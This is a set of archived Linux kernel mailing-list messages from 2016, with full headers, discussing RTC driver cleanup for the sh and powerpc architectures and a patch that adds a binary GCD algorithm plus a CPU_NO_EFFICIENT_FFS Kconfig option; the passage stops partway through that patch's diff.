> Why checking rtc_sh_set_time for a null pointer? null_rtc_set_time is
> not a null pointer but a dummy function that's always safe to call, I
> think.

You are right, it should check for null_rtc_set_time instead, I probably
copied it from powerpc, which does this a bit differently.

Actually calling null_rtc_set_time however would be (slightly) wrong here,
because we want to return an error to user space if we try to set a
read-only rtc.

> > +static const struct rtc_class_ops rtc_generic_ops = {
> > +	.read_time = rtc_generic_get_time,
> > +	.set_time = rtc_generic_set_time,
> > +};
> >  
> >  static int __init rtc_generic_init(void)
> >  {
> > @@ -79,7 +82,10 @@ static int __init rtc_generic_init(void)
> >  	if (rtc_sh_get_time == null_rtc_get_time)
> >  		return -ENODEV;
> >  
> > -	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
> > +	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
> > +					     &rtc_generic_ops,
> > +					     sizeof(rtc_generic_ops));
> > +
> 
> Not a complaint about your patch, but I'd like to get rid of this
> platform device and abstraction layer completely since it doesn't seem
> like something that can be modeled correctly in device tree. When
> you're done cleaning this up, will it be possible to just have rtc
> drivers that use whatever generic framework is left, where the right
> driver is automatically attached to compatible DT nodes? I'm trying to
> move all of arch/sh over to device tree and remove hard-coded platform
> devices.

Yes, I think that would be great. When an rtc driver is registered, you
don't actually need the read_persistent_clock/update_persistent_clock
functions (there are __weak versions of them that do nothing and cause
a fallback to calling into the rtc subsystem), so you can replace
the rtc_sh_get_time/rtc_sh_set_time with proper drivers one at a time.

I only see two of them anyway (dreamcast and sh03), so that should
be easy enough to do. For instance in arch/sh/boards/mach-sh03/rtc.c,
the sh03_time_init() function should register a platform driver,
whose probe function calls devm_rtc_device_register() to register
with the rtc subsystem. Then you move the entire file to drivers/rtc/
and change the callers of sh03_time_init() to create the device
manually (for the classic board file) or drop it (for DT).

After you have done that, all rtc related code can be removed from
arch/sh/kernel/time.c.

	Arnd

From - Thu Nov 08 21:38:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel
Subject: Re: [PATCH v3 04/16] rtc: sh: provide rtc_class_ops directly
Date: Thu, 28 Apr 2016 11:38:47 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <5905519.cjzepiYx4I@wuerfel>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de> <20160427232122.GW21636@brightrain.aerifal.cx> <2582931.5Q3899gsIm@wuerfel>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1461836375 19724 80.91.229.3 (28 Apr 2016 09:39:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 09:39:35 +0000 (UTC)
Cc: Rich Felker <dalias@libc.org>, linux-arch@vger.kernel.org,
	a.zummo@towertech.it, rtc-linux@googlegroups.com,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	deller@gmx.de, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, dhowells@redhat.com,
	linux-m68k@lists.linux-m68k.org, geert@linux-m68k.org,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>
To: linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Apr 28 11:39:26 2016
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1aviPr-0001oY-8I
	for lnx-linux-alpha@plane.gmane.org; Thu, 28 Apr 2016 11:39:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752907AbcD1JjV (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 28 Apr 2016 05:39:21 -0400
Original-Received: from mout.kundenserver.de ([212.227.126.131]:52152 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752650AbcD1JjU (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Thu, 28 Apr 2016 05:39:20 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue001) with ESMTPSA (Nemesis) id 0Lawnp-1bNvbo1QDZ-00kf7I; Thu, 28 Apr
 2016 11:38:53 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <2582931.5Q3899gsIm@wuerfel>
X-Provags-ID: V03:K0:aS7aDKvYpO5Dy9D5ruzPswq8rGNLcr58SV1rX1rVkhxhxU7ghy2
 QKq0ucdqEe+ZNeSD3/klldK7tsI0X5ace/1BSiBGqpnpsefN+5vbdbNWNvL2ncE3sD2Slw1
 nyR0uE50+KwKU8kB11Jep6UHs9XUF04suoYjddrvmBgJIxcpEaqBADHaePgm6BKY7/iVQNu
 /YOGGQ89OjFDL+FLq8xmQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:WSZuJMQr42w=:oVhjD/Rzku71r0ILw/elSD
 MotkTZWu4ySow+Y6YDEsOEtdgN/jlcnDat1nW7/q8bw/lJ0EvnmSG01v1L+5WAq0S0K03iQOt
 2dpOqYxJTMBodSY74ilf808C4IOSYBZKMgKgKVbTwt8Z+m9zi3C6W+QxeiNJRRsqet9RlD1l/
 McR61u6zC7WtdK3HgxvDsMb8Zw7Y81aHfXvm6dT/7ZkPQz7aV4uRqMMnXG25774Hr3ahtmzXu
 tuDJCiNBqyBdtoyAW6Q4Hm6BjDJRiDT7DlCE7RARK+s2erAs0aM7gJN97m/MGkeYojqMkNKjU
 4O5L6irHs2LTGHcmfKcmkYv5ZsiO6Njd33rxXQk1Tn+08qk9aPyzuKMTCdQ2SOtCzROTZJXua
 fjoj+08UbjbChTPaUbEdoZGuoIo76MTAcqlvCfkiPf3KszsBgZ6iyBS6jVRxkbVSQ/9p1dXtf
 xhSnNpiRhay/4kIUGsbm0t8lkbjczciYBqAMcRDgUCbH9z1vkaEA6OgRLHBsl+CFV5/G19rrF
 T3Sl6VJDzhMym9KYPAmXmKOAqzwtTsb9LOAdze2/OiDtKbGNO9cMd7FkZW0qbg5ETaS4V/hJx
 YssyCwlzWtf5T+BUHQRi3aPjED5qnYei41h4cNzpuMDNKgibNa+LcYFbbaqG/05LfgkMdqib1
 0OKi1GNsk1NwC6N+AWJUBqxdG2bakVL37XKfLNrrqjL3XH24hvQ3SlICUkUIBXljJYlvBX1G0
 0owTKo2Rc7Q4Qpg5
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3702 gmane.linux.ports.ppc64.devel:126561 gmane.linux.kernel.cross-arch:31813 gmane.linux.ports.parisc:26729 gmane.linux.ports.sh.devel:53893 gmane.linux.kernel:2210306
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3702>

On Thursday 28 April 2016 11:08:41 Arnd Bergmann wrote:
> I only see two of them anyway (dreamcast and sh03), so that should
> be easy enough to do. For instance in arch/sh/boards/mach-sh03/rtc.c,
> the sh03_time_init() function should register a platform driver,
> whose probe function calls devm_rtc_device_register() to register
> with the rtc subsystem. Then you move the entire file to drivers/rtc/
> and change the callers of sh03_time_init() to create the device
> manually (for the classic board file) or drop it (for DT).

Just FYI:

Another look at the sh03_rtc_settimeofday function shows that it's
always been wrong: unlike the set_mmss() function it calls, it should
set all the time fields, not just minutes and seconds.

	Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 13/16] char/genrtc: remove powerpc support
Date: Thu, 28 Apr 2016 11:39:56 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <2182936.7ADRRgWoa5@wuerfel>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de> <1461796470-1291527-14-git-send-email-arnd@arndb.de> <CAMuHMdUhydMDeQ=ciVFgjBcjnCD_q2qU0F0gUP28U9=EcH2ZRQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1461836449 20885 80.91.229.3 (28 Apr 2016 09:40:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 09:40:49 +0000 (UTC)
Cc: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Rich Felker <dalias@libc.org>,
	David Howells <dhowells@redhat.com>,
	alpha <linux-alpha@vger.kernel.org>,
	Alessandro Zummo <a.zummo@towertech.it>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	RTCLINUX <rtc-linux@googlegroups.com>,
	Linux-Arch <linux-arch@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Apr 28 11:40:40 2016
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1aviR0-0001w4-Tm
	for lnx-linux-alpha@plane.gmane.org; Thu, 28 Apr 2016 11:40:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753424AbcD1Jke (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 28 Apr 2016 05:40:34 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.75]:51070 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753340AbcD1Jkc (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Thu, 28 Apr 2016 05:40:32 -0400
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue103) with ESMTPSA (Nemesis) id 0M0bdu-1bq9Kn0l8Y-00uqt2; Thu, 28 Apr
 2016 11:40:03 +0200
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <CAMuHMdUhydMDeQ=ciVFgjBcjnCD_q2qU0F0gUP28U9=EcH2ZRQ@mail.gmail.com>
X-Provags-ID: V03:K0:hRiBJEsaHqYP1HTPtGGEs8Eem0vF+SEQqxotPMkOBkXczn4au0O
 YKmdx9pjJJHP4oIC8h6iekXZHYGEVY/ulYOq94HjElsamuTzca9d0bdpq4AMddkPtwwcQRF
 M/sDpq7PeN5Dq5lo6eujlvuslIZH57xIvVxHVTBUfdQBDSPfLplelDXhaGHklNyfVxcVvTN
 ebHlcMXjXu2CSvO5GfN5w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:9LVJvC4eeaM=:2TOCA54Vkz1+jHFBbLMrUC
 iiD00oDocwz2huE2/oaBVB6UoX7X4KRdQAtrecHRwYQ6DpFsS5Pm+mcBQbJrjWtDd0grW0/wG
 mDN8FOxpDDEvQeS7KWMNsz+dWGmUFOrVW4Xc9xRn2jD82bljiHzyxFG8+iKW+nf141tHNiEZ8
 Z4xquBQ4YQg3g0lklZQee5vH9UT8UsznojxlFkr8b2ocTlCTcxb+JJ8FapML1DgOUJLcQwABz
 LMkJJxTNK34n4AMx4TuJoTR9PjYa15UIFfvGJNrs9iPdSwzFQ5nQ2S+wO9yX+3w8asUBV7sQV
 iZpW9isLaCDqiYE3zokU73rVFFIA7crZ67yc5jmLikfi5BDv5cnhhBdf1M0Ziat7eFMpwVXsE
 8ZZgtQ2Lie992uFEIlad+KYPU+mw9MRfxHoIr4pI+T6xvFTq7qWrN1yFNy8MBvZo503e1Z9Wp
 gF3ve/ybH/SW4IHc0nVWIYdCl5R2WObfFlMBWtOXdSOSNvUnFTbX+sW7gSFkVMXT4YNO9EM5a
 UowEhwzdO4F7M9PRuCHH2g1q+tmaMqbzVmGp4Yt9zWDcfXNjqSQwzQ00DG1Np4rbWqzJ+Ljo6
 VwCWa6aw/Ndj6qF00dnsTfk1vjyWMt7XmUPTwkXSs5YZqKnVc8G11oKvqSxKbXkgyWxIJbzDR
 UEUvEhEDSZyqp+X6njpAk06xzQSMbqLEtZGIreSNEIMjNnnBhgV45viuP2PJOmM+wlrr/fvjT
 BcaYz58R2qrQ16dI
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3703 gmane.linux.kernel:2210307 gmane.linux.ports.parisc:26730 gmane.linux.ports.ppc64.devel:126563 gmane.linux.ports.sh.devel:53894 gmane.linux.kernel.cross-arch:31814
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3703>

On Thursday 28 April 2016 09:25:25 Geert Uytterhoeven wrote:
> On Thu, Apr 28, 2016 at 12:34 AM, Arnd Bergmann <arnd@arndb.de> wrote:
> > --- a/arch/powerpc/platforms/Kconfig
> > +++ b/arch/powerpc/platforms/Kconfig
> > @@ -321,6 +321,17 @@ config OF_RTC
> >           Uses information from the OF or flattened device tree to instantiate
> >           platform devices for direct mapped RTC chips like the DS1742 or DS1743.
> >
> > +config GEN_RTC
> > +       bool "Use the platform RTC operations from user space"
> > +       select RTC_CLASS
> > +       select RTC_DRV_GENERIC
> > +       help
> > +         This option provides backwards compatibility with the old gen_rtc.ko
> > +         module that was traditionally used for old PowerPC machines.
> > +         Platforms should migrate to enabling the RTC_DRV_GENERIC by hand
> > +         replacing changing their get_rtc_time/set_rtc_time callbacks with
> 
> Drop "changing".
> 
> 

done, thanks!

	Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: zengzhaoxiu@163.com
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [patch V3] lib: GCD: add binary GCD algorithm
Date: Thu, 28 Apr 2016 19:43:42 +0800
Lines: 405
Approved: news@gmane.org
Message-ID: <1461843824-19853-1-git-send-email-zengzhaoxiu@163.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461844276 20467 80.91.229.3 (28 Apr 2016 11:51:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Apr 2016 11:51:16 +0000 (UTC)
Cc: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>,
        Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Russell King <linux@arm.linux.org.uk>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        James Hogan <james.hogan@imgtec.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Ley Foon Tan <lftan@altera.com>,
        Jonas Bonn <jonas@southpole.se>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Chen Liqin <liqin.linux@gmail.com>,
        Lennox Wu <lennox.wu@gmail.com>, Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-arm-kernel@lis
To: akpm@linux-foundation.org, linux@horizon.com, peterz@infradead.org
Original-X-From: linux-mips-bounce@linux-mips.org Thu Apr 28 13:51:03 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1avkTG-0008Gi-BK
	for sgi-linux-mips@gmane.org; Thu, 28 Apr 2016 13:51:02 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:32944 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27027683AbcD1Lu71JgFf (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 28 Apr 2016 13:50:59 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 28 Apr 2016 13:50:45 +0200 (CEST)
Original-Received: from m50-132.163.com ([123.125.50.132]:50353 "EHLO m50-132.163.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27026814AbcD1LulxbmPf (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Thu, 28 Apr 2016 13:50:41 +0200
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=163.com;
        s=s110527; h=From:Subject:Date:Message-Id; bh=lsMlBa3jCLi0gJYXT5
        kqdZE/or9k3jed0oK7heRTM7o=; b=gbDlDWsWAVrtmLbZYKevljGW8mtsbARcid
        uMdejvdK5rEhHB1DYQKfs2PppyQgB1ef91LVmcEMpWUe3N2zeH0ioVLlbco0/uCE
        xEraPRpNWvh4RbNYXpWG2C8W34MKS48r4iHyZDtL5Gll28WklZ4qXmSzhqoPIYZD
        W3XOR61eE=
Original-Received: from zhaoxiuzeng-VirtualBox.spreadtrum.com (unknown [112.95.225.98])
        by smtp2 (Coremail) with SMTP id DNGowAAHiP4_+CFXzukZCA--.14559S2;
        Thu, 28 Apr 2016 19:47:19 +0800 (CST)
X-Mailer: git-send-email 2.5.0
X-CM-TRANSID: DNGowAAHiP4_+CFXzukZCA--.14559S2
X-Coremail-Antispam: 1Uf129KBjvJXoWfGrW8AFWxuF1UJFyDAry8Grg_yoWDZrW3pa
        1vy3Z3W342gF15JrW3AFW0grW5X3Z7GrW3Xr1rKa4UAFy7Ar97Zr1kXwnxXryUArZ8A3y8
        CFWrGF1DKF47Z3JanT9S1TB71UUUUUUqnTZGkaVYY2UrUUUUjbIjqfuFe4nvWSU5nxnvy2
        9KBjDUYxBIdaVFxhVjvjDU0xZFpf9x07jYUDJUUUUU=
X-Originating-IP: [112.95.225.98]
X-CM-SenderInfo: p2hqw6xkdr5xrx6rljoofrz/xtbBDRVZgFaDmq0+GAABsE
X-archive-position: 53241
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: zengzhaoxiu@163.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:54402 gmane.linux.kernel:2210434 gmane.linux.ports.alpha:3704 gmane.linux.ports.arm.kernel:496533 gmane.linux.kernel.metag:1062 gmane.linux.ports.openrisc:705 gmane.linux.ports.parisc:26731 gmane.linux.ports.sh.devel:53897 gmane.linux.ports.sparc:22898
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/54402>

From: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>

Because some architectures (alpha, armv6, etc.) don't provide hardware division,
the mod operation is slow! Binary GCD algorithm uses simple arithmetic operations,
it replaces division with arithmetic shifts, comparisons, and subtractions.

I have compiled successfully with x86_64_defconfig and i386_defconfig.

Changes to V2:
- Add a new Kconfig variable CPU_NO_EFFICIENT_FFS
- Separate into two versions by CPU_NO_EFFICIENT_FFS
- Return directly from the loop, rather than using break().
- Use "r &= -r" mostly because it's clearer.
- Improve a little bit in even/odd version

Changes to V1:
- Don't touch Kconfig, remove the Euclidean algorithm implementation
- Don't use the "even-odd" variant
- Use __ffs if the CPU has efficient __ffs

Signed-off-by: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>
Signed-off-by: George Spelvin <linux@horizon.com>
---
 arch/Kconfig                         |  3 ++
 arch/alpha/Kconfig                   |  1 +
 arch/arm/mm/Kconfig                  |  3 ++
 arch/h8300/Kconfig                   |  1 +
 arch/m32r/Kconfig                    |  1 +
 arch/m68k/Kconfig.cpu                | 11 ++++++
 arch/metag/Kconfig                   |  1 +
 arch/microblaze/Kconfig              |  1 +
 arch/mips/include/asm/cpu-features.h |  3 ++
 arch/nios2/Kconfig                   |  1 +
 arch/openrisc/Kconfig                |  1 +
 arch/parisc/Kconfig                  |  1 +
 arch/score/Kconfig                   |  1 +
 arch/sh/Kconfig                      |  1 +
 arch/sparc/Kconfig                   |  1 +
 lib/gcd.c                            | 66 +++++++++++++++++++++++++++++++-----
 16 files changed, 88 insertions(+), 9 deletions(-)

diff --git a/arch/Kconfig b/arch/Kconfig
index 81869a5..275f17d 100644
--- a/arch/Kconfig
+++ b/arch/Kconfig
@@ -638,4 +638,7 @@ config COMPAT_OLD_SIGACTION
 config ARCH_NO_COHERENT_DMA_MMAP
 	bool
 
+config CPU_NO_EFFICIENT_FFS
+	def_bool n
+
 source "kernel/gcov/Kconfig"
diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index 9d8a858..44e6f05 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -27,6 +27,7 @@ config ALPHA
 	select MODULES_USE_ELF_RELA
 	select ODD_RT_SIGACTION
 	select OLD_SIGSUSPEND
+	select CPU_NO_EFFICIENT_FFS if !ALPHA_EV67
 	help
 	  The Alpha is a 64-bit general-purpose processor designed and
 	  marketed by the Digital Equipment Corporation of blessed memory,
diff --git a/arch/arm/mm/Kconfig b/arch/arm/mm/Kconfig
index 5534766..cb569b6 100644
--- a/arch/arm/mm/Kconfig
+++ b/arch/arm/mm/Kconfig
@@ -421,18 +421,21 @@ config CPU_32v3
 	select CPU_USE_DOMAINS if MMU
 	select NEED_KUSER_HELPERS
 	select TLS_REG_EMUL if SMP || !MMU
+	select CPU_NO_EFFICIENT_FFS
 
 config CPU_32v4
 	bool
 	select CPU_USE_DOMAINS if MMU
 	select NEED_KUSER_HELPERS
 	select TLS_REG_EMUL if SMP || !MMU
+	select CPU_NO_EFFICIENT_FFS
 
 config CPU_32v4T
 	bool
 	select CPU_USE_DOMAINS if MMU
 	select NEED_KUSER_HELPERS
 	select TLS_REG_EMUL if SMP || !MMU
+	select CPU_NO_EFFICIENT_FFS
 
 config CPU_32v5
 	bool
diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index 986ea84..aa232de 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -20,6 +20,7 @@ config H8300
 	select HAVE_KERNEL_GZIP
 	select HAVE_KERNEL_LZO
 	select HAVE_ARCH_KGDB
+	select CPU_NO_EFFICIENT_FFS
 
 config RWSEM_GENERIC_SPINLOCK
 	def_bool y
diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
index c82b292..3cc8498 100644
--- a/arch/m32r/Kconfig
+++ b/arch/m32r/Kconfig
@@ -17,6 +17,7 @@ config M32R
 	select ARCH_USES_GETTIMEOFFSET
 	select MODULES_USE_ELF_RELA
 	select HAVE_DEBUG_STACKOVERFLOW
+	select CPU_NO_EFFICIENT_FFS
 
 config SBUS
 	bool
diff --git a/arch/m68k/Kconfig.cpu b/arch/m68k/Kconfig.cpu
index 0dfcf12..0b6efe8 100644
--- a/arch/m68k/Kconfig.cpu
+++ b/arch/m68k/Kconfig.cpu
@@ -40,6 +40,7 @@ config M68000
 	select CPU_HAS_NO_MULDIV64
 	select CPU_HAS_NO_UNALIGNED
 	select GENERIC_CSUM
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  The Freescale (was Motorola) 68000 CPU is the first generation of
 	  the well known M68K family of processors. The CPU core as well as
@@ -51,6 +52,7 @@ config MCPU32
 	bool
 	select CPU_HAS_NO_BITFIELDS
 	select CPU_HAS_NO_UNALIGNED
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  The Freescale (was then Motorola) CPU32 is a CPU core that is
 	  based on the 68020 processor. For the most part it is used in
@@ -130,6 +132,7 @@ config M5206
 	depends on !MMU
 	select COLDFIRE_SW_A7
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Motorola ColdFire 5206 processor support.
 
@@ -138,6 +141,7 @@ config M5206e
 	depends on !MMU
 	select COLDFIRE_SW_A7
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Motorola ColdFire 5206e processor support.
 
@@ -163,6 +167,7 @@ config M5249
 	depends on !MMU
 	select COLDFIRE_SW_A7
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Motorola ColdFire 5249 processor support.
 
@@ -171,6 +176,7 @@ config M525x
 	depends on !MMU
 	select COLDFIRE_SW_A7
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Freescale (Motorola) Coldfire 5251/5253 processor support.
 
@@ -189,6 +195,7 @@ config M5272
 	depends on !MMU
 	select COLDFIRE_SW_A7
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Motorola ColdFire 5272 processor support.
 
@@ -217,6 +224,7 @@ config M5307
 	select COLDFIRE_SW_A7
 	select HAVE_CACHE_CB
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Motorola ColdFire 5307 processor support.
 
@@ -242,6 +250,7 @@ config M5407
 	select COLDFIRE_SW_A7
 	select HAVE_CACHE_CB
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Motorola ColdFire 5407 processor support.
 
@@ -251,6 +260,7 @@ config M547x
 	select MMU_COLDFIRE if MMU
 	select HAVE_CACHE_CB
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Freescale ColdFire 5470/5471/5472/5473/5474/5475 processor support.
 
@@ -260,6 +270,7 @@ config M548x
 	select M54xx
 	select HAVE_CACHE_CB
 	select HAVE_MBAR
+	select CPU_NO_EFFICIENT_FFS
 	help
 	  Freescale ColdFire 5480/5481/5482/5483/5484/5485 processor support.
 
diff --git a/arch/metag/Kconfig b/arch/metag/Kconfig
index a0fa88d..2ac2de6 100644
--- a/arch/metag/Kconfig
+++ b/arch/metag/Kconfig
@@ -29,6 +29,7 @@ config METAG
 	select OF
 	select OF_EARLY_FLATTREE
 	select SPARSE_IRQ
+	select CPU_NO_EFFICIENT_FFS
 
 config STACKTRACE_SUPPORT
 	def_bool y
diff --git a/arch/microblaze/Kconfig b/arch/microblaze/Kconfig
index 3d793b5..f17c3a4 100644
--- a/arch/microblaze/Kconfig
+++ b/arch/microblaze/Kconfig
@@ -32,6 +32,7 @@ config MICROBLAZE
 	select OF_EARLY_FLATTREE
 	select TRACING_SUPPORT
 	select VIRT_TO_BUS
+	select CPU_NO_EFFICIENT_FFS
 
 config SWAP
 	def_bool n
diff --git a/arch/mips/include/asm/cpu-features.h b/arch/mips/include/asm/cpu-features.h
index eeec8c8..fd4ae7d 100644
--- a/arch/mips/include/asm/cpu-features.h
+++ b/arch/mips/include/asm/cpu-features.h
@@ -288,6 +288,9 @@
 #ifndef cpu_has_clo_clz
 #define cpu_has_clo_clz	cpu_has_mips_r
 #endif
+#if !cpu_has_clo_clz
+#define CONFIG_CPU_NO_EFFICIENT_FFS 1
+#endif
 
 /*
  * MIPS32 R2, MIPS64 R2, Loongson 3A and Octeon have WSBH.
diff --git a/arch/nios2/Kconfig b/arch/nios2/Kconfig
index 4375554..f10bd2c 100644
--- a/arch/nios2/Kconfig
+++ b/arch/nios2/Kconfig
